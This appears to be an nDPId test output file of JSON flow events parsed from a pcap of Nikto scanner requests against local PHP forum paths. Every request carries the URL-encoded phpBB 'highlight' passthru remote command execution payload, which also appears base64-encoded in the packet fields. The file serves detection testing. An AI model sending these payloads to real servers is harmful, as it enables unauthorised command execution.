+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":699,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":699,"flow_packet_id":1,"flow_first_seen":1576420277821,"flow_last_seen":0,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":346,"flow_max_l4_data_len":346,"flow_avg_l4_data_len":346,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50960,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00857{"flow_id":699,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":821407,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AAAAAAAAAAAAAAAACABFAAFu9rlAAEAGRM5\/AAABfwAAAccQH5BepM+ZKyRDwoAYAED\/YgAAAQEICp1m\/2WdZv9lR0VUIC9tb2R1bGVzL2luZGV4LnBocD9uYW1lPWZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNmMlNzMlMjAlMmQlNjElNmMmaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5OCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00935{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":699,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":699,"flow_packet_id":1,"flow_first_seen":1576420277821,"flow_last_seen":0,"flow_tot_l4_data_len":346,"flow_min_l4_data_len":346,"flow_max_l4_data_len":346,"flow_avg_l4_data_len":346,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50960,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":700,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":700,"flow_packet_id":1,"flow_first_seen":1576420277822,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50962,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00854{"flow_id":700,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":822915,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"AAAAAAAAAAAAAAAACABFAAFs7qZAAEAGTON\/AAABfwAAAccSH5AvkdeM6hywhIAYAED\/YAAAAQEICp1m\/2adZv9mR0VUIC9waHBCQi9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5OCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":700,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":700,"flow_packet_id":1,"flow_first_seen":1576420277822,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50962,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":701,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":701,"flow_packet_id":1,"flow_first_seen":1576420277824,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50964,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00854{"flow_id":701,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":824519,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"AAAAAAAAAAAAAAAACABFAAFsidNAAEAGsbZ\/AAABfwAAAccUH5D2t7Di3ewIxYAYAED\/YAAAAQEICp1m\/2idZv9oR0VUIC9mb3J1bS9pbmRleC5waHA\/bmFtZT1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5OCkNCg0K"} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":701,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":701,"flow_packet_id":1,"flow_first_seen":1576420277824,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50964,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":702,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":702,"flow_packet_id":1,"flow_first_seen":1576420277827,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50966,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00850{"flow_id":702,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":827029,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFnzSRAAEAGbmp\/AAABfwAAAccWH5CSlfQTmmOJAIAYAED\/WwAAAQEICp1m\/2qdZv9qR0VUIC9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTgpDQoNCg=="} +00927{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":702,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":702,"flow_packet_id":1,"flow_first_seen":1576420277827,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50966,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":703,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":703,"flow_packet_id":1,"flow_first_seen":1576420277828,"flow_last_seen":0,"flow_tot_l4_data_len":348,"flow_min_l4_data_len":348,"flow_max_l4_data_len":348,"flow_avg_l4_data_len":348,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50968,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00862{"flow_id":703,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":828463,"pkt_caplen":382,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":382,"pkt_l4_len":348,"pkt":"AAAAAAAAAAAAAAAACABFAAFwciZAAEAGyV9\/AAABfwAAAccYH5BC50sWR3m1Q4AYAED\/ZAAAAQEICp1m\/2ydZv9sR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk4KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00937{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":703,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":703,"flow_packet_id":1,"flow_first_seen":1576420277828,"flow_last_seen":0,"flow_tot_l4_data_len":348,"flow_min_l4_data_len":348,"flow_max_l4_data_len":348,"flow_avg_l4_data_len":348,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50968,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":704,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":704,"flow_packet_id":1,"flow_first_seen":1576420277829,"flow_last_seen":0,"flow_tot_l4_data_len":353,"flow_min_l4_data_len":353,"flow_max_l4_data_len":353,"flow_avg_l4_data_len":353,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50970,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00866{"flow_id":704,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":829858,"pkt_caplen":387,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":387,"pkt_l4_len":353,"pkt":"AAAAAAAAAAAAAAAACABFAAF14pZAAEAGWOp\/AAABfwAAAccaH5CUOtum6t33\/4AYAED\/aQAAAQEICp1m\/22dZv9tR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9OaWt0bz1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00943{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":704,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":704,"flow_packet_id":1,"flow_first_seen":1576420277829,"flow_last_seen":0,"flow_tot_l4_data_len":353,"flow_min_l4_data_len":353,"flow_max_l4_data_len":353,"flow_avg_l4_data_len":353,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50970,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":705,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":705,"flow_packet_id":1,"flow_first_seen":1576420277831,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50972,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":705,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":831363,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"AAAAAAAAAAAAAAAACABFAAFvhNlAAEAGtq1\/AAABfwAAAcccH5Ac\/r3nTujavoAYAED\/YwAAAQEICp1m\/2+dZv9vR0VUIC9tb2R1bGVzL2luZGV4LnBocD9OaWt0bz1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5OCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00936{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":705,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":705,"flow_packet_id":1,"flow_first_seen":1576420277831,"flow_last_seen":0,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":347,"flow_max_l4_data_len":347,"flow_avg_l4_data_len":347,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50972,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":706,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":706,"flow_packet_id":1,"flow_first_seen":1576420277832,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50974,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":706,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":832867,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"AAAAAAAAAAAAAAAACABFAAFtWm5AAEAG4Rp\/AAABfwAAAcceH5BY22NfXgseaYAYAED\/YQAAAQEICp1m\/3CdZv9wR0VUIC9waHBCQi9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTgpDQoNCg=="} +00934{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":706,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":706,"flow_packet_id":1,"flow_first_seen":1576420277832,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50974,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":707,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":707,"flow_packet_id":1,"flow_first_seen":1576420277834,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50976,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00858{"flow_id":707,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":834322,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"AAAAAAAAAAAAAAAACABFAAFtY1BAAEAG2Dh\/AAABfwAAAccgH5CMmFp9naENboAYAED\/YQAAAQEICp1m\/3KdZv9yR0VUIC9mb3J1bS9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTgpDQoNCg=="} +00934{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":707,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":707,"flow_packet_id":1,"flow_first_seen":1576420277834,"flow_last_seen":0,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":345,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":345,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50976,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001398)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":708,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":708,"flow_packet_id":1,"flow_first_seen":1576420277836,"flow_last_seen":0,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":315,"flow_max_l4_data_len":315,"flow_avg_l4_data_len":315,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50978,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00818{"flow_id":708,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":836024,"pkt_caplen":349,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":349,"pkt_l4_len":315,"pkt":"AAAAAAAAAAAAAAAACABFAAFPP1dAAEAG\/E9\/AAABfwAAAcciH5AaoQZne4dTBYAYAED\/QwAAAQEICp1m\/3OdZv9zR0VUIC92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00903{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":708,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":708,"flow_packet_id":1,"flow_first_seen":1576420277836,"flow_last_seen":0,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":315,"flow_max_l4_data_len":315,"flow_avg_l4_data_len":315,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50978,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001399)"}} 